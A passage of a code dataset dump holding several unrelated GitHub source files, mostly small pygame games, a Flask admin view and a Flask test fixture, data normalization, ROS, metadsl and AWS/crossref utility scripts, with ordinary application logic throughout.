pygame.image.load('./images/cano_flappy.png')\n self.surf_Cima = pygame.transform.flip(self.surf_Cima, False, True)\n self.surf_Cima = pygame.transform.scale(self.surf_Cima, (40, alturaCanoCima))\n self.surf_Baixo = pygame.transform.scale(self.surf_Baixo, (40, alturaCanoBaixo))\n self.rectBaixo = self.surf_Baixo.get_rect(center=(450, self.posY + (self.surf_Baixo.get_height() // 2)))\n self.rectCima = self.surf_Cima.get_rect(center=(450, self.surf_Cima.get_height() // 2))\n\n def update(self):\n self.rectBaixo[0] -= 5\n self.rectCima[0] -= 5\n if self.rectCima.right < -10 or self.rectBaixo.right < -10:\n self.kill()\n grupo.remove(self)\n\n class Chao(pygame.sprite.Sprite):\n def __init__(self):\n super(Chao, self).__init__()\n self.surf = pygame.image.load('./images/chao_flappy.png')\n self.surf = pygame.transform.scale(self.surf, (largura, 50))\n self.rect = self.surf.get_rect(center=(600, 575))\n self.fakeRect = self.surf.get_rect(center=(200, 575))\n\n chao = Chao()\n grounds = pygame.sprite.Group()\n grounds.add(chao)\n ADD_CANO = pygame.USEREVENT + 1\n pygame.time.set_timer(ADD_CANO, 1400)\n jogador = Jogador()\n grupo = pygame.sprite.Group()\n contadorfake = 0\n contador = 0\n\n ADDCHAO = pygame.USEREVENT + 2\n pygame.time.set_timer(ADDCHAO, 1000)\n\n running = True\n while running:\n for event in pygame.event.get():\n if event.type == QUIT:\n running = False\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n running = False\n if event.key == K_SPACE:\n jogador.pulo()\n if event.type == ADD_CANO:\n cano = Cano()\n grupo.add(cano)\n contadorfake += 1\n if contadorfake > 1:\n contador += 1\n if event.type == ADDCHAO:\n chao1 = Chao()\n grounds.add(chao1)\n\n fundo = pygame.image.load('./images/fundo_flappy.png')\n fundo = pygame.transform.scale(fundo, (largura, altura))\n screen.blit(fundo, (0, 0))\n\n screen.blit(jogador.surf, jogador.rect)\n jogador.update()\n if jogador.rect.top > 550:\n jogador.kill()\n tela_game_over = True\n running = False\n\n for i in grupo:\n screen.blit(i.surf_Cima, i.rectCima)\n screen.blit(i.surf_Baixo, i.rectBaixo)\n i.update()\n\n i.rect = i.rectBaixo\n if pygame.sprite.collide_rect(jogador, i):\n tela_game_over = True\n running = False\n i.rect = i.rectCima\n if pygame.sprite.collide_rect(jogador, i):\n tela_game_over = True\n running = False\n\n for i in grounds:\n screen.blit(i.surf, i.rect)\n i.rect[0] -= 5\n if i.rect.right < 0:\n i.kill()\n grounds.remove(i)\n if len(grounds) < 4:\n screen.blit(i.surf, i.fakeRect)\n i.fakeRect[0] -= 5\n if i.fakeRect.right < 0:\n i.kill()\n grounds.remove(i)\n\n font = pygame.font.Font(None, 40)\n textScore = font.render(f'Pontuação: {contador}', True, (0, 0, 0))\n textScoreRect = textScore.get_rect(center=(200, 50))\n screen.blit(textScore, textScoreRect)\n\n pygame.display.flip()\n clock.tick(30)\n\n while tela_game_over:\n for event in pygame.event.get():\n if event.type == QUIT:\n tela_game_over = False\n if event.type == KEYDOWN and event.key == K_ESCAPE:\n tela_game_over = False\n\n screen.fill((0, 0, 0))\n font = pygame.font.Font(None, 90)\n GameOver = font.render('Game Over', True, (255, 0, 0))\n GameOverRect = GameOver.get_rect(center=(200, 150))\n screen.blit(GameOver, GameOverRect)\n font = pygame.font.Font(None, 65)\n ScoreText = font.render(f'Pontuação: {contador}', True, (255, 255, 255))\n ScoreRect = ScoreText.get_rect(center=(200, 220))\n screen.blit(ScoreText, ScoreRect)\n\n if button(50, 'Play Again', (200, 360), 'black', 'white', screen, 'white', 'green'):\n play()\n if button(50, 'Sair', (200, 470), 'black', 'white', screen, 'white', 'red'):\n tela_game_over = False\n\n pygame.display.flip()\n\ntela_inicial()\nplay()\n","repo_name":"pccql/flappy","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4007951117","text":"\nimport pygame\n\nfrom dino_runner.utils.constants import BG, DEAD, ICON, SCREEN_HEIGHT, SCREEN_WIDTH, TITLE, FPS, DEFAULT_TYPE, GAME_OVER\nfrom dino_runner.components.dinosaur import Dinosaur\nfrom dino_runner.components.obstacles.obstacle_manager import ObstacleManager\nfrom dino_runner.components.power_ups.power_up_manager import PowerUpManager\nfrom dino_runner.components.cloud import Cloud\n\n\nclass Game:\n def __init__(self):\n pygame.init()\n pygame.display.set_caption(TITLE)\n pygame.display.set_icon(ICON)\n self.screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\n\n self.player = Dinosaur()\n self.obstacle_manager = ObstacleManager()\n self.power_up_manager = PowerUpManager()\n self.cloud = Cloud()\n self.count_death = 0\n self.score = 0\n self.clock = pygame.time.Clock()\n self.playing = False\n self.executing = False\n self.game_speed = 15\n self.x_pos_bg = 0\n self.y_pos_bg = 380\n\n def run(self):\n # Game loop: events - update - draw\n self.playing = True\n while self.playing:\n self.events()\n self.update()\n self.draw()\n \n\n def execute(self):\n self.executing = True\n\n while(self.executing): \n self.display_menu() \n\n pygame.display.quit()\n pygame.quit()\n\n def draw_power_up_time(self):\n if self.player.has_power_up:\n time_to_show = round((self.player.power_up_time - pygame.time.get_ticks())/1000,2)\n \n if time_to_show >=0:\n self.draw_time_to_screen(time_to_show)\n \n else:\n self.player.has_power_up = False\n self.player.type = DEFAULT_TYPE\n \n \n def draw_time_to_screen(self, time_to_show):\n \n font_size = 15\n color = (0,0,0)\n FONT = 'freesansbold.ttf'\n font = pygame.font.Font(FONT, font_size)\n \n text_to_display = f\"Power up remaining time: {time_to_show}\"\n \n text = font.render(text_to_display,True, color)\n text_rect = text.get_rect()\n \n text_rect.x = 70\n text_rect.y = 100\n self.screen.blit(text, (text_rect.x, text_rect.y))\n\n def display_menu(self):\n \n self.screen.fill((255,255,255))\n\n font_size = 32\n color = (0,0,0)\n FONT = 'freesansbold.ttf'\n font = pygame.font.Font(FONT, font_size)\n\n if self.count_death == 0:\n text_to_display = \"Press any key to start\"\n text = font.render(text_to_display, True, color)\n menu_text_rect = text.get_rect()\n\n menu_text_rect.x = (SCREEN_WIDTH //2) - (menu_text_rect.width//2)\n menu_text_rect.y = (SCREEN_HEIGHT //2) - (menu_text_rect.height//2)\n self.screen.blit(text, (menu_text_rect.x, menu_text_rect.y))\n\n else:\n self.menu_death()\n\n\n pygame.display.update()\n\n self.events_on_menu()\n\n\n def menu_death(self):\n self.screen.fill((255,255,255))\n\n font_size = 32\n color = (0,0,0)\n FONT = 'freesansbold.ttf'\n font = pygame.font.Font(FONT, font_size) \n dead_text_to_display = \"Press any key to start again\"\n text = font.render(dead_text_to_display, True, color)\n\n\n death_menu_text_rect = text.get_rect()\n\n \n death_menu_text_rect.x = (SCREEN_WIDTH //2) - (death_menu_text_rect.width//2)\n death_menu_text_rect.y = (SCREEN_HEIGHT// 1.5) - (death_menu_text_rect.height //2)\n self.screen.blit(text, (death_menu_text_rect.x, death_menu_text_rect.y))\n\n # tentativa de mostrar o score final\n\n score_final_text = font.render(f\"Final score: {self.score}\", True, color)\n score_final_text_rect = text.get_rect()\n score_final_text_rect.x = 400\n score_final_text_rect.y = 120\n\n self.screen.blit(score_final_text, (score_final_text_rect.x, score_final_text_rect.y))\n\n # tentativa de mostrar a quantidade de morte\n\n count_death_text = font.render(f\"Number of Deaths: {self.count_death}\", True, color)\n count_death_text_rect = text.get_rect()\n count_death_text_rect.x = 375\n count_death_text_rect.y = 170\n\n\n self.screen.blit(count_death_text, (count_death_text_rect.x, count_death_text_rect.y))\n\n dino_dead_image = DEAD\n game_over = GAME_OVER\n # tentar colocar o incone de morte do dino!!!!\n self.screen.blit(game_over, (340, 50))\n self.screen.blit(dino_dead_image, (470, 250))\n\n pygame.display.update()\n self.events_on_menu()\n\n \n def events_on_menu(self):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n self.playing = False\n self.executing = False\n if event.type == pygame.KEYDOWN:\n self.reset()\n self.run()\n\n def events(self):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n self.playing = False\n\n def update(self):\n user_input = pygame.key.get_pressed()\n self.player.update(user_input)\n self.obstacle_manager.update(self)\n self.power_up_manager.update(self)\n \n\n self.update_score()\n self.update_game_speed()\n # self.update.power_up_time()\n\n def update_score(self):\n self.score += 1\n\n def update_game_speed(self):\n if self.score % 100 == 0:\n self.game_speed += 3\n\n def reset(self):\n self.score = 0\n self.game_speed = 15\n self.obstacle_manager.reset_obstacles()\n self.power_up_manager.reset_power_up()\n\n def draw(self):\n self.clock.tick(FPS)\n self.screen.fill((255, 255, 255))\n self.draw_background()\n\n self.player.draw(self.screen)\n self.obstacle_manager.draw(self.screen)\n self.power_up_manager.draw(self.screen)\n self.cloud.update(self.game_speed)\n self.cloud.draw(self.screen)\n\n #draw score\n self.draw_score()\n\n self.draw_power_up_time()\n \n pygame.display.update()\n pygame.display.flip()\n\n def draw_score(self):\n #print(self.score)\n\n font_size = 32\n color = (0,0,0)\n FONT = 'freesansbold.ttf'\n\n font = pygame.font.Font(FONT, font_size)\n text = font.render(f\"Score: {self.score}\", True, color)\n\n score_text_rect = text.get_rect()\n score_text_rect.x = 850\n score_text_rect.y = 30\n\n self.screen.blit(text, (score_text_rect.x, score_text_rect.y))\n\n\n def draw_background(self):\n image_width = BG.get_width()\n self.screen.blit(BG, (self.x_pos_bg, self.y_pos_bg))\n self.screen.blit(BG, (image_width + self.x_pos_bg, self.y_pos_bg))\n if self.x_pos_bg <= -image_width:\n self.screen.blit(BG, (image_width + self.x_pos_bg, self.y_pos_bg))\n self.x_pos_bg = 0\n self.x_pos_bg -= self.game_speed","repo_name":"Cleyton0ff/CM_BR-MOD2-T4","sub_path":"dino_runner/components/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":7077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"3752040595","text":"import json\nimport pytest\n\nimport TIM\n\n_app = TIM.create_app(True)\n\n@pytest.fixture\ndef client(app):\n # Get a test client for your Flask app\n return app.test_client()\n\n@pytest.fixture\ndef app():\n \"\"\"Yield your app with its context set up and ready\"\"\"\n\n # Set up: Establish an application context\n ctx = _app.app_context()\n ctx.push()\n yield _app\n\n # Tear down: run this after the tests are completed\n ctx.pop()\n\ndef login(client, usr, pwd):\n return client.post('/login/', data=dict(\n username=usr,\n password=pwd\n ), follow_redirects=True)\n\nclass TestEndpoints:\n # Test unprotected endpoints\n def test_unprotected_endpoints(self, client):\n print ('Testing endpoint: \"/test\"')\n response = client.get(\"/test/\")\n assert response.status_code == 200\n","repo_name":"Tommoa/TIM","sub_path":"TIM/tests/test_database.py","file_name":"test_database.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4262199158","text":"import numpy as np\n\n\nclass Normalizer:\n def __init__(self, remove, minus, denominator):\n self.remove = remove\n self.denominator = denominator\n self.minus = minus\n\n @staticmethod\n def standard_deviation_normalization(data, normalizer=None):\n \"\"\" Data normalization using standard deviation\n Args:\n data: The data to be normalized\n normalizer: guide\n \"\"\"\n data_rows, data_cols = data.shape\n if normalizer is None:\n data_col_means = data.mean(axis=0)\n data_col_standard_deviation = data.std(axis=0)\n remove = []\n for col in range(data_cols):\n if data_col_standard_deviation[col] == 0:\n remove.append(col)\n # print(\"standard = 0 :\", col)\n else:\n std = data_col_standard_deviation[col]\n col_mean = data_col_means[col]\n for row in range(data_rows):\n data[row][col] = (data[row][col] - col_mean) / std\n data_col_means = np.delete(data_col_means, remove, axis=0)\n data_col_standard_deviation = np.delete(data_col_standard_deviation, remove, axis=0)\n return np.delete(data, remove, axis=1), Normalizer(remove, data_col_means, data_col_standard_deviation)\n else:\n # print(data_value.shape)\n data = np.delete(data, normalizer.remove, axis=1)\n # print(data_value.shape)\n data_rows, data_cols = data.shape\n for col in range(0, data_cols, 1):\n col_mean = normalizer.minus[col]\n std = normalizer.denominator[col]\n for row in range(0, data_rows, 1):\n # print(row, col)\n data[row][col] = (data[row][col] - col_mean) / std\n return data\n\n @staticmethod\n def max_min_normalization(data, normalizer=None):\n \"\"\" Data normalization using max value and min value\n Args:\n data: The data to be normalized\n normalizer:guide\n \"\"\"\n # data_rows, data_cols = data_value.shape\n # if data_col_max_values is None:\n # data_col_max_values = data_value.max(axis=0)\n # if data_col_min_values is None:\n # data_col_min_values = data_value.min(axis=0)\n # for col in range(0, data_cols, 1):\n # if data_col_max_values[col] != data_col_min_values[col]:\n # value_range = data_col_max_values[col] - data_col_min_values[col]\n # for row in range(0, data_rows, 1):\n # data_value[row][col] = (data_value[row][col] - data_col_min_values[col]) / value_range\n data_rows, data_cols = data.shape\n if normalizer is None:\n data_col_max = data.max(axis=0)\n data_col_min = data.min(axis=0)\n remove = []\n data_col_range = []\n for col in range(data_cols):\n if data_col_max[col] == data_col_min[col]:\n remove.append(col)\n # print(\"standard = 0 :\", col)\n else:\n col_range = (data_col_max[col] - data_col_min[col])/100.0\n data_col_range.append(col_range)\n col_min = data_col_min[col]\n for row in range(data_rows):\n data[row][col] = (data[row][col] - col_min) / col_range\n data_col_min = np.delete(data_col_min, remove, axis=0)\n data_col_range = np.delete(data_col_range, remove, axis=0)\n return np.delete(data, remove, axis=1), Normalizer(remove, data_col_min, data_col_range)\n else:\n # print(data_value.shape)\n data = np.delete(data, normalizer.remove, axis=1)\n # print(data_value.shape)\n data_rows, data_cols = data.shape\n for col in range(data_cols):\n col_min = normalizer.minus[col]\n col_range = normalizer.denominator[col]\n for row in range(data_rows):\n print(\"data[row][col]=\", data[row][col], \" col_min=\", col_min, \" col_range\", col_range)\n data[row][col] = (data[row][col] - col_min) / col_range\n return data\n","repo_name":"HawChang/SOM4H","sub_path":"normalizer.py","file_name":"normalizer.py","file_ext":"py","file_size_in_byte":4312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36129122756","text":"#!/usr/bin/env python3\n\nimport rospy\nimport sys\nimport os\nimport cv2\n\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge, CvBridgeError\n\nclass CaptureImage:\n \"\"\"\n A class that converts a subscribed ROS image to a OpenCV image and saves\n the captured image to a predefined directory.\n \"\"\"\n def __init__(self):\n \"\"\"\n A function that initializes a CvBridge class, subscriber, and save path.\n :param self: The self reference.\n \"\"\"\n self.bridge = CvBridge()\n self.sub = rospy.Subscriber('/filtered_image', Image, self.callback, queue_size=1)\n self.save_path = '/home/smartw/catkin_ws/src/uv_project/data_plots/photos'\n\n def callback(self, msg):\n \"\"\"\n A callback function that converts the ROS image to a CV2 image and stores the\n image.\n :param self: The self reference.\n :param msg: The ROS image message type.\n \"\"\"\n try:\n image = self.bridge.imgmsg_to_cv2(msg, 'bgr8')\n except CvBridgeError as e:\n rospy.logwarn('CV Bridge error: {0}'.format(e))\n\n file_name = 'camera_image.jpeg'\n completeName = os.path.join(self.save_path, file_name)\n cv2.imwrite(completeName, image)\n rospy.signal_shutdown(\"done\")\n # sys.exit(0)\n\nif __name__ == '__main__':\n rospy.init_node('capture_image', argv=sys.argv)\n CaptureImage()\n rospy.spin()","repo_name":"alan-sanchez/uv_project","sub_path":"src/capture_image.py","file_name":"capture_image.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11544704287","text":"# PARTIAL APLICATION WORKING WITH LIST\n__author__ = \"Gabriel Avendaño, Valentina Bernal, Daniela Duque\"\n\nmyList = [1, 2, 3, 4, 5, 6]\nprint ('myList : ', myList)\n\n# with map\n\nsquare = lambda x : x ** 2\nprint ('myList squared : ', list(map(square, myList)))\n\n# with reduce\n\nfrom functools import reduce\n\nadd = lambda x, y: x + y\nprint ('sum all elements of myList : ' , reduce (add , myList))\n\n\n# with filter \n\nisEven = lambda x : x % 2 == 0\nprint ('list of even numbers in myList : ', list(filter(isEven, myList)))\n\n\n","repo_name":"gavendanoc/ingesoft_assignmet_2","sub_path":"partialAplicationList.py","file_name":"partialAplicationList.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73291720853","text":"import sys\n\nfrom PyQt5.QtWidgets import QMessageBox, QFileDialog, QInputDialog\n\nfrom CurlingLeague.league_database import LeagueDatabase\nfrom CurlingLeague.team import Team\nfrom CurlingLeague.team_member import TeamMember\n\nfrom PyQt5 import uic, QtWidgets\n\nUI_MainWindow, QtBaseWindow = uic.loadUiType(\"member_editor.ui\")\n\n\nclass MemberEditor(QtBaseWindow, UI_MainWindow):\n def __init__(self, member=None, team=None, parent=None):\n super().__init__(parent)\n self.setupUi(self)\n self.db = LeagueDatabase.instance()\n if member:\n self.member = member\n self.team = team\n self.member_name_lineedit.setText(self.member.name)\n self.member_email_lineedit.setText(self.member.email)\n self.buttons.accepted.connect(self.update_member)\n\n def update_member(self):\n if self.member_name_lineedit.text() and self.member_email_lineedit.text():\n self.member.name = self.member_name_lineedit.text()\n self.member.email = self.member_email_lineedit.text()\n\n def new_member(self):\n if self.member_name_lineedit.text() and self.member_email_lineedit.text():\n memb = TeamMember(self.db.next_oid(), self.member_name_lineedit.text(),\n self.member_email_lineedit.text())\n self.team.add_member(memb)\n\n\nif __name__ == '__main__':\n app = QtWidgets.QApplication(sys.argv)\n window = MemberEditor(TeamMember(1300, \"smashers\", \"smashers@smashers.com\"), Team(1200, \"Hulks\"))\n window.show()\n sys.exit(app.exec_())\n\n","repo_name":"jmayhall/CurlingLeague","sub_path":"CurlingLeague/GUI/member_editor.py","file_name":"member_editor.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30159297150","text":"import requests\nimport datetime\nimport pymongo\nimport os\nfrom pprint import pprint\nfrom google_form_doi_check import valid_a_doi\n\ncrossref_session = requests.Session()\ndef crossref_data(doi):\n crossref_url = 'https://api.crossref.org/works/%s?mailto=amalietrewartha@lbl.gov' % doi\n try:\n response = crossref_session.get(crossref_url)\n except:\n print('request to cross_ref failed!')\n return\n try:\n response = response.json()\n cr_response = response['message']\n if 'items' in cr_response.keys():\n cr_response = cr_response['items'][0]\n #Curate metadata for db entry\n cr_metadata = dict()\n cr_metadata['crossref_raw_result'] = response\n if 'container-title' in cr_response.keys():\n cr_metadata['journal'] = cr_response['container-title'] #Get journal title\n elif 'short-container-title' in cr_response.keys():\n cr_metadata['journal'] = cr_response['short-container-title'] #Get short journal title as alternative \n cr_metadata['title'] = cr_response['title'] #Get title\n date = cr_response['issued']['date-parts']\n try:\n date = \"{0}/{1}/{2}\".format(date[0][1], date[0][2], date[0][0])\n cr_metadata['publication_date'] = datetime.datetime.strptime(date, \"%m/%d/%Y\") #Get date\n \n cr_metadata['has_year'] = True\n cr_metadata['has_month'] = True\n cr_metadata['has_day'] = True\n\n except IndexError:\n cr_metadata['publication_date'] = datetime.datetime.strptime(str(date[0][0]), \"%Y\")\n\n cr_metadata['has_year'] = True\n cr_metadata['has_month'] = False\n cr_metadata['has_day'] = False\n\n if 'author' in cr_response:\n authors = []\n for author in cr_response['author']:\n if 'given' in author:\n name = '{0}. {1}'.format(author['given'][0], author['family'])\n elif 'family' in author:\n name = '{0}'.format(author['family'])\n else:\n name = author['name']\n affiliation = author['affiliation']\n authors.append({'name' : name, 'affiliation' : affiliation})\n cr_metadata['authors'] = authors #Get authors\n if 'reference' in cr_response:\n cr_refdois = []\n references = cr_response['reference']\n for citation in references:\n if 'DOI' in citation:\n cr_refdois.append(citation['DOI'])\n cr_metadata['citations'] = cr_refdois #Get dois of citations\n except Exception as e:\n print('query result cannot be jsonified!')\n print('response.text', response.text)\n print('response.status_code', response.status_code)\n print('response.reason', response.reason)\n print()\n return\n return cr_metadata\n\ncollection_name = \"google_form_submissions\"\nclient = pymongo.MongoClient(os.getenv(\"COVID_HOST\"), username=os.getenv(\"COVID_USER\"),\n password=os.getenv(\"COVID_PASS\"), authSource=os.getenv(\"COVID_DB\"))\ndb = client[os.getenv(\"COVID_DB\")]\n\nfor e in db[collection_name].find({\"crossref_raw_result\": {\"$exists\" : False}}):\n print(\"Searching for metadata for row {}, doi {}\".format(e['row_id'], e['doi']))\n # if valid_a_doi(e['doi'], e):\n if True:\n #First validate the doi\n cr_metadata = crossref_data(e['doi'])\n if cr_metadata is not None:\n pprint(\"Found row metadata for row {}\".format(e['row_id']))\n e = {**e, **cr_metadata}\n db[collection_name].find_one_and_replace({\"_id\": e['_id']}, e)\n else:\n print(\"doi invalid!\")\n","repo_name":"COVID-19-Text-Mining/DBProcessingScripts","sub_path":"IndependentScripts/match_google_form_to_crossref.py","file_name":"match_google_form_to_crossref.py","file_ext":"py","file_size_in_byte":3753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38855886917","text":"# -*- encoding: utf-8 -*-\r\n\r\n# instances是闭包,好懂吧\r\ndef flyweight(cls):\r\n instances = dict()\r\n return lambda *args, **kargs: instances.setdefault(\r\n (args, tuple(kargs.items())),\r\n cls(*args, **kargs)\r\n )\r\n\r\n\r\n@flyweight\r\nclass Spam(object):\r\n def __init__(self, a, b):\r\n self.a = a\r\n self.b = b\r\n\r\n\r\n@flyweight\r\nclass Egg(object):\r\n def __init__(self, x, y):\r\n self.x = x\r\n self.y = y\r\n\r\n\r\nassert Spam(1, 2) is Spam(1, 2)\r\nassert Spam(1, 2) is not Spam(3, 4)\r\nassert Egg('a', 'b') is Egg('a', 'b')\r\nassert Spam(1, 2) is not Egg(1, 2)\r\n","repo_name":"1715509415/pythonlearn","sub_path":"Class/Patterns/2.4.Structural.Flyweight.py","file_name":"2.4.Structural.Flyweight.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19518905313","text":"from __future__ import annotations\n\nimport typing\n\nfrom metadsl import *\nfrom metadsl_rewrite import *\n\nfrom .abstraction import *\nfrom .conversion import *\nfrom .maybe import *\nfrom .strategies import *\n\n__all__ = [\"Boolean\"]\n\nT = typing.TypeVar(\"T\")\nU = typing.TypeVar(\"U\")\n\n\nclass Boolean(Expression, wrap_methods=True):\n @classmethod\n def create(cls, b: bool) -> Boolean:\n ...\n\n def if_(self, true: T, false: T) -> T:\n ...\n\n def and_(self, other: Boolean) -> Boolean:\n ...\n\n def or_(self, other: Boolean) -> Boolean:\n ...\n\n @classmethod\n def true(cls) -> Boolean:\n return Boolean.create(True)\n\n @classmethod\n def false(cls) -> Boolean:\n return Boolean.create(False)\n\n\nregister_ds(default_rule(Boolean.true))\nregister_ds(default_rule(Boolean.false))\n\n\n@register_ds # type: ignore\n@rule\ndef if_(b: bool, l: T, r: T) -> R[T]:\n return Boolean.create(b).if_(l, r), lambda: l if b else r\n\n\n@register_ds # type: ignore\n@rule\ndef and_or(l: bool, r: bool) -> R[Boolean]:\n l_boolean = Boolean.create(l)\n r_boolean = Boolean.create(r)\n\n yield l_boolean.and_(r_boolean), lambda: Boolean.create(l and r)\n yield l_boolean.or_(r_boolean), lambda: Boolean.create(l or r)\n\n\n@register_convert\n@rule\ndef convert_bool(b: bool) -> R[Maybe[Boolean]]:\n \"\"\"\n >>> execute(Converter[Boolean].convert(True), convert_bool) == Maybe.just(Boolean.create(True))\n True\n >>> list(convert_bool(ExpressionReference.from_expression(Converter[Boolean].convert(\"not bool\"))))\n []\n \"\"\"\n return Converter[Boolean].convert(b), Maybe.just(Boolean.create(b))\n\n\n@register_core\n@rule\ndef pull_if_above_maybe(\n b: Boolean,\n maybe_true: Maybe[T],\n maybe_false: Maybe[T],\n nothing: U,\n just: Abstraction[T, U],\n):\n \"\"\"\n Pull up if opreator around match... maybe could also pull this up generically on other operators?\n\n Do we want to pull if up always?\n \"\"\"\n\n return (\n b.if_(maybe_true, maybe_false).match(nothing, just),\n b.if_(maybe_true.match(nothing, just), maybe_false.match(nothing, just)),\n )\n","repo_name":"metadsl/metadsl","sub_path":"metadsl_core/boolean.py","file_name":"boolean.py","file_ext":"py","file_size_in_byte":2111,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"67"} +{"seq_id":"69875149974","text":"import math\r\nimport utilities\r\n\r\n'''\r\nThis method calculates the overall silhoutte coefficent\r\nfor the data set\r\n'''\r\ndef performance(dataset, clusters):\r\n dist_list = [[0.0 for cluster in range(max(clusters)+1)] for j in range(len(dataset))]\r\n count_list = [[0.0 for cluster in range(max(clusters)+1)] for j in range(len(dataset))]\r\n sil_list = [[0.0 for i in range(2)] for j in range(len(dataset))]\r\n coefficients = [0.0 for i in range(len(dataset))]\r\n # Iterate through each entry in the data set and for each entry\r\n # iterate through the clusters assignments, calculate the distance,\r\n # and store the value in the dist_list.\r\n for entry in range(len(dataset)):\r\n for cluster in range(len(clusters)):\r\n dist_list[entry][clusters[cluster]] += utilities.distance(dataset[entry], dataset[cluster])\r\n count_list[entry][clusters[cluster]] += 1.0\r\n # Iterate through dist_list and calculate the average distances for each\r\n # point and determine which of the other clusters is closest to the data\r\n # point\r\n for entry in range(len(dist_list)):\r\n dist_list[entry] = [sumation/total if total else 0 for sumation,total in zip(dist_list[entry],count_list[entry])]\r\n cluster = clusters[entry]\r\n sil_list[entry][0] = dist_list[entry].pop(cluster)\r\n sil_list[entry][1] = min(dist_list[entry])\r\n # Calculate the silhoutte coefficent for each data point\r\n for entry in range(len(coefficients)):\r\n max_val = max(sil_list[entry])\r\n if max_val != 0.0:\r\n coefficients[entry] = (sil_list[entry][1] - sil_list[entry][0])/max(sil_list[entry])\r\n else:\r\n coefficients[entry] = 0.0\r\n # Return the average silhoutte coefficent\r\n return sum(coefficients)/len(coefficients)\r\n","repo_name":"edflores28/Intro_To_Machine_Learning","sub_path":"Assignment_2/silhoutte.py","file_name":"silhoutte.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22192924093","text":"from flask import render_template, url_for, redirect, flash\nfrom app.admin import admin\nfrom app import db\nfrom app.admin.forms.sensor import SensorForm\nfrom app.models import Sensor\nfrom app.admin.forms.organisation import *\nfrom sqlalchemy.exc import SQLAlchemyError\nfrom flask_login import login_required\n\n\n@admin.route('/sensor', methods=['GET'])\n@login_required\ndef list_sensor():\n sensor = Sensor.query.all()\n return render_template('admin/sensor.html',\n rowdata=sensor,\n title='Sensor')\n\n\n@admin.route('/sensor/add', methods=['GET', 'POST'])\n@login_required\ndef add_sensor():\n form = SensorForm()\n if form.validate_on_submit():\n sensor = Sensor(\n node_id=form.site_id.data,\n sensor_type=form.sensor_type_id.data,\n name=form.name.data,\n description=form.description.data,\n sample_period=form.sample_period.data,\n average_period=form.average_period.data,\n )\n try:\n db.session.add(sensor)\n db.session.commit()\n flash('New sensor created', 'success')\n except SQLAlchemyError as e:\n db.session.rollback()\n error = str(e.__dict__['orig'])\n flash('{}'.format(error), 'error')\n except:\n db.session.rollback()\n flash('An error occurred - no record created', 'error')\n\n return redirect(url_for('admin.list_sensor'))\n\n return render_template('form_page.html',\n form=form,\n title=\"Add Sensor\")\n\n\n@admin.route('/Sensor/delete/', methods=['GET', 'POST'])\n@login_required\ndef delete_sensor(id):\n sensor = Sensor.query.get_or_404(id)\n db.session.delete(sensor)\n try:\n db.session.commit()\n except SQLAlchemyError as e:\n db.session.rollback()\n error = str(e.__dict__['orig'])\n flash('{}'.format(error), 'error')\n except:\n db.session.rollback()\n flash('An error occurred - delete failed', 'error')\n\n return redirect(url_for('admin.list_sensor'))\n\n\n\n@admin.route('/sensor/edit/', methods=['GET', 'POST'])\n@login_required\ndef edit_sensor(id):\n sensor = Sensor.query.get_or_404(id)\n form = SensorForm(obj=sensor)\n\n if form.validate_on_submit():\n sensor.node_id = form.node_id.data\n sensor.sensor_type_id = form.sensor_type_id.data\n sensor.name = form.name.data\n sensor.description = form.description.data\n sensor.sample_period = form.sample_period.data\n sensor.average_period = form.average_period.data\n try:\n db.session.commit()\n return redirect(url_for('admin.list_sensor'))\n except SQLAlchemyError as e:\n db.session.rollback()\n error = str(e.__dict__['orig'])\n flash('{}'.format(error), 'error')\n except Exception as e:\n db.session.rollback()\n flash('An error occurred - update failed', 'error')\n\n\n return render_template('form_page.html',\n form=form,\n sensor=sensor,\n title='Edit sensor')\n","repo_name":"NotisSiokas/LionsGate-Smart-Garden-Web-App","sub_path":"app/admin/views/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72140233815","text":"import boto3\nimport os\nimport sys\n\nGB = 1024*1024*1024\n\ndef download_dir(s3_folder, local_folder, bucket, client, total_download_size):\n \"\"\"\n params:\n - s3_folder: folder in s3\n - local_folder: local folder to place files\n - bucket: s3 bucket with target contents\n - client: initialized s3 client object\n \"\"\"\n\n # there are 900 model files in the AWS S3 bucket\n downloaded_size = 0\n downloadCnt = 0\n next_token = ''\n base_kwargs = {\n 'Bucket':bucket,\n 'Prefix':s3_folder,\n }\n\n while next_token is not None:\n kwargs = base_kwargs.copy()\n if next_token != '':\n kwargs.update({'ContinuationToken': next_token})\n results = client.list_objects_v2(**kwargs)\n contents = results.get('Contents')\n for i in contents:\n if downloaded_size >= total_download_size:\n print(\"model downloaded size reaches the limit.\")\n return\n downloadCnt += 1\n k = i.get('Key')\n model_name = k.split('/')[-2]\n model_folder = 